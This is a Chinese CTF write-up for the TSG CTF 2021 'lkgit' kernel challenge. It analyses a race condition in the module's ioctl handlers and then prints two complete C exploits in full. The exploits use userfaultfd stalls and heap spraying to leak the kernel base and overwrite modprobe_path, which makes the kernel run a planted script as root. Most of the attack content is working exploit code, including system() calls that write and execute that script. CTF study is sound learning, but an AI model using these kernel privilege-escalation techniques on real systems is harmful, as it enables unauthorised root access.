tsgctf-2021-lkgit-无锁竞争-userfaultfd

启动脚本

qemu-system-x86_64 \
  -kernel ./bzImage \
  -initrd ./rootfs.cpio \
  -nographic \
  -monitor /dev/null \
  -cpu kvm64,smep,smap \
  -append "console=ttyS0 kaslr oops=panic panic=1 quiet" \
  -no-reboot \
  -m 256M

题目

lkgit_hash_object

#define HASH_SIZE                 0x10
typedef struct {
  char hash[HASH_SIZE];
  char *content;	// 长度最大0x40
  char *message;	// 长度最大0x20
} hash_object;

从用户空间传递一个hash_object到内核

  • 内核分配一个hash_object对象,将用户态的hash_object拷贝进来
  • 内核分配一个content对象,将hash_object->content拷贝进来
  • 内核分配一个message对象,将hash_object->message拷贝进来
  • 根据content的内容计算出,hash,保存到内核的hash_object->hash
  • 并将hash赋值到用户态的hash_object->hash
  • 最后将内核态的hash_object保存到全局数组objects中
    • 先检查全局数组objects是否已经保存了相同hash的hash_object,有则先将hash_object释放,并置NULL
    • 然后再全局数组objects中找到一个元素为NULL的,存放进去
static long lkgit_hash_object(hash_object *reqptr) {
	long ret = -LKGIT_ERR_UNKNOWN;
	char *content_buf = kzalloc(FILE_MAXSZ, GFP_KERNEL);	// 0x40
	char *message_buf = kzalloc(MESSAGE_MAXSZ, GFP_KERNEL); // 0x20
	hash_object *req = kzalloc(sizeof(hash_object), GFP_KERNEL); // 0x20
	if (IS_ERR_OR_NULL(content_buf) || IS_ERR_OR_NULL(message_buf) || IS_ERR_OR_NULL(req))
		goto end;

	if (copy_from_user(req, reqptr, sizeof(hash_object)))
		goto end;

	if (copy_from_user(content_buf, req->content, FILE_MAXSZ)
		|| copy_from_user(message_buf, req->message, MESSAGE_MAXSZ))
		goto end;

	req->content = content_buf;
	req->message = message_buf;
	get_hash(content_buf, req->hash);

	if (copy_to_user(reqptr->hash, req->hash, HASH_SIZE)) {
		goto end;
	}

	ret = save_object(req);

end:
  return ret;
}

static void get_hash(char *content, char *buf) {
	int ix,jx;
	unsigned unit = FILE_MAXSZ / HASH_SIZE;
	char c;
	for (ix = 0; ix != HASH_SIZE; ++ix) {
		c = 0;
		for(jx = 0; jx != unit; ++jx) {
			c ^= content[ix * unit + jx];
		}
		buf[ix] = c;
	}
}

static long save_object(hash_object *obj) {
	int ix;
	int dup_ix;
	// first, find conflict of hash
	if((dup_ix = find_by_hash(obj->hash)) != -1) {
		kfree(objects[dup_ix]);
		objects[dup_ix] = NULL;
	}
	// assign object
	for (ix = 0; ix != HISTORY_MAXSZ; ++ix) {
		if (objects[ix] == NULL) {
			objects[ix] = obj;
			return 0;
		}
	}
	return -LKGIT_ERR_UNKNOWN;
}

static int find_by_hash(char *hash) {
	int ix;
	for (ix = 0; ix != HISTORY_MAXSZ; ++ix) {
		if (objects[ix] != NULL && memcmp(hash, objects[ix]->hash, HASH_SIZE) == 0)
			return ix;
	}
	return -1;
}


lkgit_get_object

typedef struct {
  char hash[HASH_SIZE];
  char content[FILE_MAXSZ];
  char message[MESSAGE_MAXSZ];
} log_object;

用户态传递过来的参数log_object

  • 内核获取用户态的log_object->hash
  • 在全局数组objects中,查找是否存在hash相同的hash_object元素
  • 将找到的hash_object元素的content,拷贝到用户态的log_object->content
  • 计算内核找到的hash_object元素content的hash,是否与用户参数中的log_object->hash,一致则
    • 内核找到的hash_object元素的content,拷贝给用户态
    • 内核找到的hash_object元素的hash,拷贝给用户态
static long lkgit_get_object(log_object *req) {
	long ret = -LKGIT_ERR_OBJECT_NOTFOUND;
	char hash_other[HASH_SIZE] = {0};
	char hash[HASH_SIZE];
	int target_ix;
	hash_object *target;
	if (copy_from_user(hash, req->hash, HASH_SIZE))
		goto end;

	if ((target_ix = find_by_hash(hash)) != -1) {
		target = objects[target_ix];
		if (copy_to_user(req->content, target->content, FILE_MAXSZ))
			goto end;

		// validity check of hash
		get_hash(target->content, hash_other);
		if (memcmp(hash, hash_other, HASH_SIZE) != 0)
			goto end;

		if (copy_to_user(req->message, target->message, MESSAGE_MAXSZ))
			goto end;
		if (copy_to_user(req->hash, target->hash, HASH_SIZE)) 
			goto end;
		ret = 0;
	}

end:
	return ret;
}

lkgit_amend_message

用户态传递过来的参数log_object

  • 内核获取用户态的log_object->hash
  • 在全局数组objects中,查找是否存在hash相同的hash_object元素
  • 将用户态的log_object->message,拷贝到内核局部变量buf中
  • 调用lkgit_get_object
  • 并将用户态log_object->message,拷贝到找到的hash相同的hash_object->message中
static long lkgit_amend_message(log_object *reqptr) {
	long ret = -LKGIT_ERR_OBJECT_NOTFOUND;
	char buf[MESSAGE_MAXSZ];
	log_object req = {0};
	int target_ix;
	hash_object *target;
	if(copy_from_user(&req, reqptr->hash, HASH_SIZE))
		goto end;

	if ((target_ix = find_by_hash(req.hash)) != -1) {
		target = objects[target_ix];
		// save message temporarily
		if (copy_from_user(buf, reqptr->message, MESSAGE_MAXSZ))
			goto end;
		// return old information of object
		ret = lkgit_get_object(reqptr);
		// amend message
		memcpy(target->message, buf, MESSAGE_MAXSZ);
	}

	end:
		return ret;
}

漏洞在哪里

单看,ioctl中的三个方法,好像都没有问题

  • lkgit_hash_object
  • lkgit_get_object
  • lkgit_amend_message

由于内核函数调用中没有加锁,查看是否存在竞争

结合异步并行调用+userfaultfd,再尝试看看没有没有问题

lkgit_hash_object

static long lkgit_hash_object(hash_object *reqptr) {
	long ret = -LKGIT_ERR_UNKNOWN;
	char *content_buf = kzalloc(FILE_MAXSZ, GFP_KERNEL);	// 0x40
	char *message_buf = kzalloc(MESSAGE_MAXSZ, GFP_KERNEL); // 0x20
	hash_object *req = kzalloc(sizeof(hash_object), GFP_KERNEL); // 0x20
	if (IS_ERR_OR_NULL(content_buf) || IS_ERR_OR_NULL(message_buf) || IS_ERR_OR_NULL(req))
		goto end;

	if (copy_from_user(req, reqptr, sizeof(hash_object)))	// 【1】
		goto end;

	if (copy_from_user(content_buf, req->content, FILE_MAXSZ)
		|| copy_from_user(message_buf, req->message, MESSAGE_MAXSZ)) // 【2】
		goto end;

	req->content = content_buf;
	req->message = message_buf;
	get_hash(content_buf, req->hash);	// 【3】

	if (copy_to_user(reqptr->hash, req->hash, HASH_SIZE)) {	// 【4】
		goto end;
	}

	ret = save_object(req);

end:
  return ret;
}
  • 通过userfaultfd,在【1】处暂停
    • lkgit_get_object,无法从全局数组objects找到可用的hash_other
  • 通过userfaultfd,在【2】处暂停
    • lkgit_get_object,无法从全局数组objects找到可用的hash_other
  • 通过userfaultfd,在【4】处暂停
    • lkgit_get_object,无法从全局数组objects找到可用的hash_other

lkgit_get_object

static long lkgit_get_object(log_object *req) {
	long ret = -LKGIT_ERR_OBJECT_NOTFOUND;
	char hash_other[HASH_SIZE] = {0};
	char hash[HASH_SIZE];
	int target_ix;
	hash_object *target;
	if (copy_from_user(hash, req->hash, HASH_SIZE))
		goto end;

	if ((target_ix = find_by_hash(hash)) != -1) {
		target = objects[target_ix];
		if (copy_to_user(req->content, target->content, FILE_MAXSZ))	// 【1】
			goto end;

		// validity check of hash
		get_hash(target->content, hash_other);
		if (memcmp(hash, hash_other, HASH_SIZE) != 0)
			goto end;

		if (copy_to_user(req->message, target->message, MESSAGE_MAXSZ))	// 【2】
			goto end;
		if (copy_to_user(req->hash, target->hash, HASH_SIZE)) // 【3】
			goto end;
		ret = 0;
	}

end:
	return ret;
}
  • 【1】,【2】,【3】在此处停下,通过调用lkgit_hash_object->save_object->kfree,释放hash_object,并用其他内核结构替换,获取可以获取一些内核信息

lkgit_amend_message

static long lkgit_amend_message(log_object *reqptr) {
	long ret = -LKGIT_ERR_OBJECT_NOTFOUND;
	char buf[MESSAGE_MAXSZ];
	log_object req = {0};
	int target_ix;
	hash_object *target;
	if(copy_from_user(&req, reqptr->hash, HASH_SIZE))	// 【1】
		goto end;

	if ((target_ix = find_by_hash(req.hash)) != -1) {
		target = objects[target_ix];
		// save message temporarily
		if (copy_from_user(buf, reqptr->message, MESSAGE_MAXSZ))
			goto end;
		// return old information of object
		ret = lkgit_get_object(reqptr);	// 【1】
		// amend message
		memcpy(target->message, buf, MESSAGE_MAXSZ);	// 【2】
	}

	end:
		return ret;
}

lkgit_get_object类似,但是这个的【2】提供了一个往占位结构体写数据的功能,但这里略微复杂一点

// 1、在lkgit_hash_object中,先申请kmalloc-32的message slab-1
message:
	0x0-0x7
	0x8-0xF
	0x10-0x17
	0x18-0x1F
// 2、在lkgit_hash_object中,再申请kmalloc-32的hash_object slab-2
// 2-1、之前存储在objects中的kmalloc-32的 hash_object slab-0会被释放
// 3、再次调用lkgit_hash_object,slab-0,会被message占据
// 4、这时就可以通过lkgit_hash_object内部的copy_from_user(message_buf),修改 hash_object->message
// 5、通过lkgit_amend_message中的【1】找到这个结构体
// 6、通过lkgit_amend_message中的【2】修改hash_object->message指向的内容
typedef struct {
  char hash[HASH_SIZE];
  char *content;	// 长度最大0x40
  char *message;	// 长度最大0x20
} hash_object;

利用

  • 先创建一个内核hash_object,并挂到内核objects数组下
  • 调用lkgit_get_object,触发缺页处理
    • 在缺页处理内部调用lkgit_hash_object,触发kfree
    • 使用shm_file_data进行占位
    • 读取内核指针,获取内核基地址
    • 从而得到modprobe_path的地址
  • 调用lkgit_amend_message,触发缺页处理
    • 修改hash_object->message 的地址为modprobe_path的地址
    • 通过memcpy(target->message, buf, MESSAGE_MAXSZ);重写modprobe_path的内容

exp1 - 这个蛮好看的

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define LKGIT_HASH_OBJECT 0xdead0001
#define LKGIT_AMEND_MESSAGE 0xdead0003
#define LKGIT_GET_OBJECT 0xdead0004

#define FILE_MAXSZ 0x40
#define MESSAGE_MAXSZ 0x20
#define HASH_SIZE 0x10

typedef struct
{
    char hash[HASH_SIZE]; // 0x10
    char *content;        // 0x8
    char *message;        // 0x8
} hash_object;

typedef struct
{
    char hash[HASH_SIZE];
    char content[FILE_MAXSZ];
    char message[MESSAGE_MAXSZ];
} log_object;

typedef struct
{
    long uffd;
    unsigned long long page_start;
    void *(*wp_fault_func)(void *);
    void *(*read_fault_func)(void *, struct uffdio_copy*);
} userfd_callback_args;

int lkgit_fd;
pthread_t uffd_thread;

char fileContent1[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
char fileMessage1[] = "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB";
char hash1[0x10];

unsigned long modprobe_path;

void errout(char *msg)
{
    perror(msg);
    exit(-1);
}

void *userfd_thread_func(void *args)
{
    struct uffd_msg msg;

    userfd_callback_args *cb_args = (userfd_callback_args *)args;

    struct pollfd pollfd = {
        .fd = cb_args->uffd,
        .events = POLLIN};

    while (poll(&pollfd, 1, -1) > 0)
    {
        if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
            errout("polling error");

        if (!(pollfd.revents & POLLIN))
            continue;

        if (read(cb_args->uffd, &msg, sizeof(msg)) == 0)
            errout("read uffd event");

        printf("Userfault event\n");
        printf("======================================================================\n");

        if (msg.event & UFFD_EVENT_PAGEFAULT)
            printf("PAGEFAULT : %p / Flags %p\n", (void *)msg.arg.pagefault.address, msg.arg.pagefault.flags);

        long long addr = msg.arg.pagefault.address;
        long long page_begin = addr - (addr % 0x1000);

        // Check for write protected write fault
        if (msg.arg.pagefault.flags & UFFD_PAGEFAULT_FLAG_WP)
        {
            printf("UFFD_PAGEFAULT_FLAG_WP\n");

            // If defined, call write protect fault handler
            if(cb_args->wp_fault_func)
                cb_args->wp_fault_func(cb_args);

            // set page to not write protected to unlock kernel
            struct uffdio_writeprotect wp;

            wp.range.start = cb_args->page_start;
            wp.range.len = 0x2000;
            wp.mode = 0;
                        
            printf("[+] Send !UFFDIO_WRITEPROTECT event to userfaultfd\n");
            printf("======================================================================\n\n");
            fflush(stdout);

            if (ioctl(cb_args->uffd, UFFDIO_WRITEPROTECT, &wp) == -1)
            {
                errout("ioctl(UFFDIO_WRITEPROTECT)");
            }
            
            continue;
        }

        // Page wasn't touched by now, so fill it
        printf("UFFDIO_COPY\n");
        char buf[0x1000];

        struct uffdio_copy cp = {
            .src = (long long)buf,
            .dst = (long long)addr,
            .len = (long long)0x1000,
            .mode = 0
        };
                
        // If defined, call read protect fault handler
        if(cb_args->read_fault_func)
            cb_args->read_fault_func(cb_args, &cp);

        if (ioctl(cb_args->uffd, UFFDIO_COPY, &cp) == -1)
        {
            perror("ioctl(UFFDIO_COPY)");
        }

        printf("[+] Sent UFFDIO_COPY event to userfaultfd\n");
        printf("======================================================================\n\n");
        fflush(stdout);
    }
    return NULL;
}

userfd_callback_args* register_userfaultfd(unsigned long long mode, void *(*wp_fault_func)(void *), void *(*read_fault_func)(void *, struct uffdio_copy*))
{
    printf("\n");
    printf("Register userfaultdfd\n");
    printf("======================================================================\n");

    // setup userfault fd
    int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);

    if (uffd == -1)
    {
        perror("syscall");
        exit(-1);
    }

    int uffd_flags = fcntl(uffd, F_GETFD, NULL);

    printf("[+] Userfaultfd registered : FD %d / Flags: %p\n", uffd, uffd_flags);

    struct uffdio_api uffdio_api = {
        .api = UFFD_API,
        .features = 0};

    if (ioctl(uffd, UFFDIO_API, &uffdio_api))
    {
        perror("UFFDIO_API");
        exit(-1);
    }

    printf("[+] Userfaultfd api : Features %p\n", uffdio_api.features);

    char* userfault_region = mmap(NULL, 0x1000 * 2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0);

    if (!userfault_region)
    {
        perror("mmap");
        exit(-1);
    }

    // 页对其
    if (posix_memalign((void **)userfault_region, 0x1000, 0x1000 * 2))
    {
        fprintf(stderr, "cannot align by pagesize %d\n", 0x1000);
        exit(1);
    }

    printf("[+] Userfaultfd region : %p - %p", userfault_region, userfault_region + 0x1000 * 2);

    struct uffdio_register uffdio_register;

    uffdio_register.range.start = (unsigned long long)userfault_region;
    uffdio_register.range.len = 0x1000 * 2;
    uffdio_register.mode = mode;

    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
    {
        perror("ioctl(UFFDIO_REGISTER)");
        exit(1);
    }

    printf("[+] Userfaultfd region registered: ioctls %p\n", uffdio_register.ioctls);

    userfd_callback_args *cb_args = malloc(sizeof(userfd_callback_args));

    cb_args->uffd = uffd;
    cb_args->wp_fault_func = wp_fault_func;
    cb_args->read_fault_func = read_fault_func;
    cb_args->page_start = (unsigned long long)userfault_region;

    pthread_create(&uffd_thread, NULL, userfd_thread_func, cb_args);

    printf("[+] Userfaultfd process thread started: %p\n", uffd_thread);

    printf("======================================================================\n\n");    

    return cb_args;
}

void unregister_userfaultfd(userfd_callback_args* args) {
    printf("\n");
    printf("Unregister userfaultdfd\n");
    printf("======================================================================\n");

    struct uffdio_range uf_range = {
        .start = args->page_start,
        .len = 0x2000
    };

    if (ioctl(args->uffd, UFFDIO_UNREGISTER, (unsigned long)&uf_range) == -1) 
        errout("unregistering page for userfaultfd");

    if (munmap(args->page_start, 0x2000) == -1)
        errout("munmapping userfaultfd page");

    close(args->uffd);
    pthread_cancel(uffd_thread);
    printf("[+] userfaultfd unregistered\n");
    printf("======================================================================\n\n");
}

// take a snapshot of a file.
char snap_file(char *content, char *message, char *out_hash)
{
    hash_object req = {
        .content = content,
        .message = message,
    };

    if (ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) != 0)
    {
        printf("[ERROR] failed to hash the object.\n");
    }

    memcpy(out_hash, &req.hash, 0x10);

    return 0;
}

void spray_shmem(int count, int size) {
    puts("[+] spray shmem structs");
    int shmid;
    char *shmaddr;

    for (int i = 0; i < count; i++)
    {
        if ((shmid = shmget(IPC_PRIVATE, size, 0600)) == -1)
        {
            perror("shmget error");
            exit(-1);
        }
        shmaddr = shmat(shmid, NULL, 0);

        if (shmaddr == (void *)-1)
        {
            perror("shmat error");
            exit(-1);
        }
    }
}

void *break_on_read_leak(void *args, struct uffdio_copy *uf_buf)
{
    userfd_callback_args *cb_args = args;

    puts("Userfault: break_on_read");    

    printf("[+]Delete current object by storing one with the same hash\n");
    snap_file(fileContent1, fileMessage1, &hash1);

    printf("[+] Create a shmem struct in the freed object");
    spray_shmem(1, 0x20);    
}

void *break_on_read_overwrite(void *args, struct uffdio_copy *uf_buf)
{
    userfd_callback_args *cb_args = args;

    // Write address of modprobe_path to hash_object->message
    unsigned long* lptr = fileMessage1+0x18;
    *lptr = modprobe_path;

    // Reallocate files, so that current object is freed and our message will overwrite current object to control its message pointer
    snap_file(fileContent1, fileMessage1, &hash1);
    snap_file(fileContent1, fileMessage1, &hash1);
        
    // Put the content into UFFDIO_COPY src argument (which will be copied to message pointer)
    char mod[] = "/home/user/copy.sh";
    memcpy(uf_buf->src, mod, sizeof(mod));      
}

int main()
{
    // Prepare modprobe_path exploitation
    system("echo -ne '#!/bin/sh\n/bin/cp /home/user/flag /home/user/flag2\n/bin/chmod 777 /home/user/flag2' > /home/user/copy.sh");
    system("chmod +x /home/user/copy.sh");
    system("echo -ne '\\xff\\xff\\xff\\xff' > /home/user/dummy");
    system("chmod +x /home/user/dummy");

    lkgit_fd = open("/dev/lkgit", O_RDWR);

    // 创建一个log_object对象
    printf("[+] Create initial file in lkgit\n");
    snap_file(fileContent1, fileMessage1, hash1);

    // kernel base泄露
    printf("[+] Register userfaultfd\n");
    userfd_callback_args *uffdargs = register_userfaultfd(UFFDIO_REGISTER_MODE_MISSING | UFFDIO_REGISTER_MODE_WP, NULL, break_on_read_leak);

    printf("[+] Request file, and let it break on copying back message\n");
    log_object *req = uffdargs->page_start + 0x1000 - 0x10 - 0x40; // Allow copy hash/content, but pagefault on message
    memcpy(&req->hash, hash1, 0x10);
    ioctl(lkgit_fd, LKGIT_GET_OBJECT, req); // page fault 错误,先执行 break_on_read_leak(1、删除object 2、堆喷占据对象),再读取堆喷数据

    unsigned long kernel_leak = *((unsigned long*)(req->hash + 0x8));
    modprobe_path = kernel_leak - 0x131ce0;

    printf("[+] Kernel leak   : %p\n", kernel_leak);
    printf("[+] modprobe_path : %p\n", modprobe_path);

    unregister_userfaultfd(uffdargs);

    // 任意地址写
    printf("[+] Register new userfaultfd\n");
    uffdargs = register_userfaultfd(UFFDIO_REGISTER_MODE_MISSING | UFFDIO_REGISTER_MODE_WP, NULL, break_on_read_overwrite);
    
    // Align the request object, so that lkgit_amend_message will pagefault on reading new message
    ioctl(lkgit_fd, LKGIT_AMEND_MESSAGE, uffdargs->page_start+0x1000-0x10-0x40);
    
    close(lkgit_fd);
    
    // Execute modprobe_path exploitation
    system("/home/user/dummy");
    system("cat /home/user/flag2");
}

exp2

/****************
 *
 * Full exploit of lkgit.
 *
 ****************/

#define _GNU_SOURCE
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#include "../src/include/lkgit.h" // commands

#define DEV_PATH "/dev/lkgit" // the path the device is placed
#define ulong unsigned long
#define scu static const unsigned long

#// constants
#define PAGE 0x1000
#define NO_FAULT_ADDR 0xdead0000
#define FAULT_ADDR 0xdead1000
#define FAULT_OFFSET PAGE
#define MMAP_SIZE 4 * PAGE
#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
// (END constants)

// globals
int uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int lkgit_fd;
char buf[0x400];
unsigned long len = 2 * PAGE;
void *addr = (void *)NO_FAULT_ADDR;
void *target_addr;
size_t target_len;
int tmpfd[0x300];
int seqfd;
struct sockaddr_in saddr = {0};
struct msghdr socketmsg = {0};
struct iovec iov[1];

ulong single_start;
ulong kernbase;

ulong off_single_start = 0x01adc20;
ulong off_modprobepath = 0x0c3cb20;
// (END globals)

// utils
#define WAIT getc(stdin);
#define errExit(msg)        \
    do                      \
    {                       \
        perror(msg);        \
        exit(EXIT_FAILURE); \
    } while (0)
ulong user_cs, user_ss, user_sp, user_rflags;

/** module specific utils **/

char *hash_to_string(char *hash)
{
    char *hash_str = calloc(HASH_SIZE * 2 + 1, 1);
    for (int ix = 0; ix != HASH_SIZE; ++ix)
    {
        sprintf(hash_str + ix * 2, "%02lx", (unsigned long)(unsigned char)hash[ix]);
    }
    return hash_str;
}

char *string_to_hash(char *hash_str)
{
    char *hash = calloc(HASH_SIZE, 1);
    char buf[3] = {0};
    for (int ix = 0; ix != HASH_SIZE; ++ix)
    {
        memcpy(buf, &hash_str[ix * 2], 2);
        hash[ix] = (char)strtol(buf, NULL, 16);
    }
    return hash;
}

void print_log(log_object *log)
{
    printf("HASH   : %s\n", hash_to_string(log->hash));
    printf("MESSAGE: %s\n", log->message);
    printf("CONTENT: \n%s\n", log->content);
}
/** END of module specific utils **/

void *conflict_during_fault(char *content)
{
    // commit with conflict of hash
    char content_buf[FILE_MAXSZ] = {0};
    char msg_buf[MESSAGE_MAXSZ] = {0};
    memcpy(content_buf, content, FILE_MAXSZ); // hash became 00000000000...
    hash_object req = {
        .content = content_buf,
        .message = content_buf,
    };
    printf("[.] committing with conflict...: %s\n", content);
    assert(ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) == 0);
    printf("[+] hash: %s\n", hash_to_string(req.hash));
}

// userfaultfd-utils
static void *fault_handler_thread(void *arg)
{
    puts("[+] entered fault_handler_thread");

    static struct uffd_msg msg; // data read from userfaultfd
    // struct uffdio_copy uffdio_copy;
    struct uffdio_range uffdio_range;
    struct uffdio_copy uffdio_copy;
    long uffd = (long)arg; // userfaultfd file descriptor
    struct pollfd pollfd;  //
    int nready;            // number of polled events

    // set poll information
    pollfd.fd = uffd;
    pollfd.events = POLLIN;

    // wait for poll
    puts("[+] polling...");
    while (poll(&pollfd, 1, -1) > 0)
    {
        if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
            errExit("poll");

        // read an event
        if (read(uffd, &msg, sizeof(msg)) == 0)
            errExit("read");

        if (msg.event != UFFD_EVENT_PAGEFAULT)
            errExit("unexpected pagefault");

        printf("[!] page fault: %p\n", (void *)msg.arg.pagefault.address);

        // Now, another thread is halting. Do my business.
        char content_buf[FILE_MAXSZ] = {0};
        if (target_addr == (void *)NO_FAULT_ADDR)
        {
            puts("[+] first: seq_operations");
            memset(content_buf, 'A', FILE_MAXSZ);
            conflict_during_fault(content_buf);
            puts("[+] trying to realloc kfreed object...");
            if ((seqfd = open("/proc/self/stat", O_RDONLY)) <= 0)
            {
                errExit("open seq_operations");
            }

            // trash
            uffdio_range.start = msg.arg.pagefault.address & ~(PAGE - 1);
            uffdio_range.len = PAGE;
            if (ioctl(uffd, UFFDIO_UNREGISTER, &uffdio_range) == -1)
                errExit("ioctl-UFFDIO_UNREGISTER");
        }
        else
        {
            printf("[+] target == modprobe_path @ %p\n", (void *)kernbase + off_modprobepath);
            strcpy(content_buf, "/tmp/evil\x00");
            conflict_during_fault(content_buf);

            puts("[+] trying to realloc kfreed object...");
            long *buf = calloc(sizeof(long), sizeof(hash_object) / sizeof(long));
            for (int ix = 0; ix != sizeof(hash_object) / sizeof(long); ++ix)
            {
                buf[ix] = kernbase + off_modprobepath;
            }

            char content_buf[FILE_MAXSZ] = {0};
            char hash_buf[HASH_SIZE] = {0};
            strcpy(content_buf, "uouo-fish-life\x00");
            hash_object req = {
                .content = content_buf,
                .message = (char *)buf,
            };
            assert(ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) == 0);
            printf("[+] hash: %s\n", hash_to_string(req.hash));

            // write evil message
            puts("[+] copying evil message...");
            char message_buf[PAGE] = {0};
            strcpy(message_buf, "/tmp/evil\x00");
            uffdio_copy.src = (unsigned long)message_buf;
            uffdio_copy.dst = msg.arg.pagefault.address;
            uffdio_copy.len = PAGE;
            uffdio_copy.mode = 0;
            if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
                errExit("ioctl-UFFDIO_COPY");
        }

        break;
    }

    puts("[+] exiting fault_handler_thrd");
}

void register_userfaultfd_and_halt(void)
{
    puts("[+] registering userfaultfd...");

    long uffd;     // userfaultfd file descriptor
    pthread_t thr; // ID of thread that handles page fault and continue exploit in another kernel thread
    struct uffdio_api uffdio_api;
    struct uffdio_register uffdio_register;
    int s;

    // create userfaultfd file descriptor
    uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // there is no wrapper in libc
    if (uffd == -1)
        errExit("userfaultfd");

    // enable uffd object via ioctl(UFFDIO_API)
    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
        errExit("ioctl-UFFDIO_API");

    // mmap
    addr = mmap(target_addr, target_len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly specified addr.
    printf("[+] mmapped @ %p\n", addr);
    if (addr == MAP_FAILED || addr != target_addr)
        errExit("mmap");

    // specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER)
    // first step
    if (target_addr == (void *)NO_FAULT_ADDR)
    {
        uffdio_register.range.start = (size_t)(target_addr + PAGE);
        uffdio_register.range.len = PAGE;
        uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    }
    else
    {
        // second step
        uffdio_register.range.start = (size_t)(target_addr + PAGE);
        uffdio_register.range.len = PAGE;
        uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    }
    // uffdio_register.mode = UFFDIO_REGISTER_MODE_WP; // write-protection
    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
        errExit("ioctl-UFFDIO_REGISTER");

    s = pthread_create(&thr, NULL, fault_handler_thread, (void *)uffd);
    if (s != 0)
    {
        errno = s;
        errExit("pthread_create");
    }

    puts("[+] registered userfaultfd");
}
// (END userfaultfd-utils)

int main(int argc, char *argv[])
{
    puts("[.] starting exploit...");
    system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/nirugiri");
    system("echo -ne '#!/bin/sh\nchmod 777 /home/user/flag && cat /home/user/flag' > /tmp/evil");
    system("chmod +x /tmp/evil");
    system("chmod +x /tmp/nirugiri");

    lkgit_fd = open(DEV_PATH, O_RDWR);
    if (lkgit_fd < 0)
    {
        errExit("open");
    }

    // register uffd handler
    target_addr = (void *)NO_FAULT_ADDR;
    target_len = 2 * PAGE;
    register_userfaultfd_and_halt();
    sleep(1);

    log_object *log = (log_object *)(target_addr + PAGE - (HASH_SIZE + FILE_MAXSZ));
    printf("[.] target addr: %p\n", target_addr);
    printf("[.] log:         %p\n", log);

    // spray
    puts("[.] heap spraying...");
    for (int ix = 0; ix != 0x90; ++ix)
    {
        tmpfd[ix] = open("/proc/self/stat", O_RDONLY);
    }

    // commit a file normaly
    char content_buf[FILE_MAXSZ] = {0};
    char msg_buf[MESSAGE_MAXSZ] = {0};
    char hash_buf[HASH_SIZE] = {0};
    memset(content_buf, 'A', FILE_MAXSZ); // hash became 00000000000...
    strcpy(msg_buf, "This is normal commit.\x00");
    hash_object req = {
        .content = content_buf,
        .message = msg_buf,
    };
    assert(ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) == 0);
    printf("[+] hash: %s\n", hash_to_string(req.hash));

    memset(content_buf, 0, FILE_MAXSZ);
    strcpy(content_buf, "/tmp/evil\x00"); // hash is 46556c00000000000000000000000000
    strcpy(msg_buf, "This is second commit.\x00");
    assert(ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) == 0);
    printf("[+] hash: %s\n", hash_to_string(req.hash));

    // try to get a log and invoke race
    // this fault happens when copy_to_user(to = message), not when copy_to_user(to = content).
    memset(log->hash, 0, HASH_SIZE);
    assert(ioctl(lkgit_fd, LKGIT_GET_OBJECT, log) == 0);
    print_log(log);

    // kernbase leak
    single_start = *(unsigned long *)log->hash;
    kernbase = single_start - off_single_start;
    printf("[!] single_start: %lx\n", single_start);
    printf("[!] kernbase: %lx\n", kernbase);

    // prepare for race again.
    target_len = PAGE * 2;
    target_addr = (void *)NO_FAULT_ADDR + PAGE * 2;
    register_userfaultfd_and_halt();
    sleep(1);

    // amend to race/AAW
    log = (log_object *)(target_addr + PAGE - (HASH_SIZE + FILE_MAXSZ));
    memcpy(log->hash, string_to_hash("46556c00000000000000000000000000"), HASH_SIZE); // hash is 46556c00000000000000000000000000
    puts("[.] trying to race to achive AAW...");
    int e = ioctl(lkgit_fd, LKGIT_AMEND_MESSAGE, log);
    if (e != 0)
    {
        if (e == -LKGIT_ERR_OBJECT_NOTFOUND)
        {
            printf("[ERROR] object not found: %s\n", hash_to_string(log->hash));
        }
        else
        {
            printf("[ERROR] unknown error in AMEND.\n");
        }
    }

    // nirugiri
    puts("[!] executing evil script...");
    system("/tmp/nirugiri");
    system("cat /home/user/flag");

    printf("[.] end of exploit.\n");
    return 0;
}

参考

https://ctftime.org/writeup/30739
https://kileak.github.io/ctf/2021/tsg-lkgit/
https://blog.smallkirby.com/posts/lkgit/

你可能感兴趣的:(pwn_cve_kernel,linux,pwn)